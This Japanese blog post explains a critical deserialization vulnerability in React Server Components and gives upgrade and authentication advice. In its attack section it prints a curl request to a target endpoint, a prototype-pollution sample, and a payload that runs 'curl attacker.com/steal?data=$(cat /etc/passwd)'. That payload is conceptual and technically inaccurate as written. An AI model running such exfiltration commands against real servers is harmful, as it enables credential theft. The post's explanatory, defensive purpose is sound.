👺

2025-12-03発表のReact Server Components の重大脆弱性をがんばって理解する

に公開

はじめに

2025年12月3日、ReactチームからCVSS 10.0(最高評価)という衝撃的な脆弱性が公開されました。「React使ってるけど、自分のアプリは大丈夫なの?」と不安になった方も多いのではないでしょうか。

ピンと来ていない人、安心してください。私もです。
この記事では、今回の脆弱性が何が問題で、どう悪用されるのかを、わかりやすく解説します。

まず結論:何をすべきか

影響を受けるバージョン:

  • React 19.0, 19.1.0, 19.1.1, 19.2.0

対応:

  • React 19.0.1、19.1.2、19.2.1以上にアップグレード
  • Next.js、React Router、Wakuなどのフレームワークも影響を受けるため、最新版への更新を確認

影響を受けないケース:

  • サーバー側でReactを使っていない(完全にクライアントのみ)
  • React Server Componentsを使っていない

何が問題だったのか

Server Componentsは安全?

まず誤解を避けたいのですが、通常のServer Componentの書き方自体に問題はありません

// このコード自体は問題なし
const App = async () => {
  const data = await fetch('https://api.example.com/data')
  return {data.title}
}

問題はServer Actions/Server Functionsの呼び出しメカニズムにあります。

Server Actionsの仕組み

Server Actionsを使うと、クライアントから直接サーバー側の関数を呼び出せます。

// サーバー側のコード
async function submitForm(formData) {
  'use server'
  await db.insert(formData)
  return { success: true }
}

// クライアント側で呼び出し

  [送信]

便利ですよね。でも、この裏側で何が起きているのでしょうか?

通信の裏側

クライアントでServer Actionを呼び出すと、Reactは自動的にHTTPリクエストを生成します。

POST /_next/server-actions/abc123
Content-Type: text/x-component

["$", "$L1", null, {"username": "osushi"}]

サーバー側では、Reactがこのリクエストを受け取り、以下の処理を行います:

// 1. HTTPリクエストのボディを読み取る
const payload = await request.text()

// 2. Reactの独自フォーマットからJavaScriptオブジェクトに復元
const args = deserializePayload(payload) // ← ここに脆弱性!

// 3. 関数を実行
const result = await submitForm(...args)

問題は2番目のデシリアライズ処理にありました。

どう悪用されるのか

攻撃のシナリオ

攻撃者は、Reactクライアントを経由せず、直接HTTPリクエストを送信できます。

curl -X POST https://target.com/_next/server-actions/abc123 \
  -H "Content-Type: text/x-component" \
  -d '[悪意のあるペイロード]'

「認証があれば大丈夫では?」と思いますよね

ここが重要なポイントです:

  1. Server Actionsはデフォルトで認証を強制しない
  2. 認証チェックを入れていても、デシリアライズが認証より先に実行される可能性がある
リクエスト受信
  ↓
Reactがペイロードをデシリアライズ ← ここで脆弱性が発動!
  ↓
認証チェック ← ここまで到達する前にやられる
  ↓
関数実行

プロトタイプ汚染による攻撃

悪意のあるペイロードの例(概念的なイメージ):

{
  "__proto__": {
    "isAdmin": true
  }
}

JavaScriptでは、__proto__constructorといった特殊なキーを使うと、すべてのオブジェクトの基本動作を書き換えることができます(やばい)。

// 攻撃成功後
Object.prototype.isAdmin = true

// すべてのオブジェクトが影響を受ける
const user = {}
console.log(user.isAdmin) // true

さらに危険なのは、Node.jsの機能を悪用して任意のコードを実行できてしまうことです:

// 悪意のあるペイロード
const malicious = JSON.stringify({
  "__proto__": {
    "toString": function() {
      require('child_process').exec('curl attacker.com/steal?data=$(cat /etc/passwd)')
      return ""
    }
  }
})

// 攻撃対象のサーバーに送信
fetch('https://target.com/_next/server-actions/abc123', {
  method: 'POST',
  headers: { 'Content-Type': 'text/x-component' },
  body: malicious
})

Reactのデシリアライズ処理が、このような特殊な構造を適切に検証せずに処理してしまったのが、今回の脆弱性の本質です。

なぜCVSS 10.0(最高評価)なのか

この脆弱性が最高評価を受けた理由:

  • 認証不要(unauthenticated): 誰でも攻撃できる
  • リモート実行可能(remote): インターネット経由で攻撃できる
  • 任意のコード実行(RCE): サーバー上で何でもできる
  • 影響範囲が広い: 人気のあるフレームワーク・バンドラーに影響

今後の対策

即座に行うべきこと

1. Reactのバージョンを確認

npm list react react-dom

2. アップグレード

npm install react@19.0.1 react-dom@19.0.1
# または
npm install react@19.1.2 react-dom@19.1.2

3. フレームワークの更新も確認

Next.js、React Router、Wakuなどを使用している場合は、それぞれの最新版への更新情報を確認してください。

設計上の教訓

今回の件から学べること:

1. Server Actionsには明示的に認証チェックを入れる

async function submitForm(formData) {
  'use server'
  const session = await getSession()
  if (!session) throw new Error('Unauthorized')
  
  await db.insert(formData)
}

2. 入力検証は必須

ユーザーからの入力だけでなく、フレームワークが処理する内部データも検証が必要です。

3. セキュリティアップデートは最優先

CVSS 10.0のような重大な脆弱性は、発見され次第すぐに対応が必要です。

参考リンク

https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

おわりに

Server Components自体は素晴らしい技術ですが、新しい技術には予期しない脆弱性が潜んでいる可能性があります。定期的なアップデートとセキュリティ情報のキャッチアップを心がけましょう。

Discussion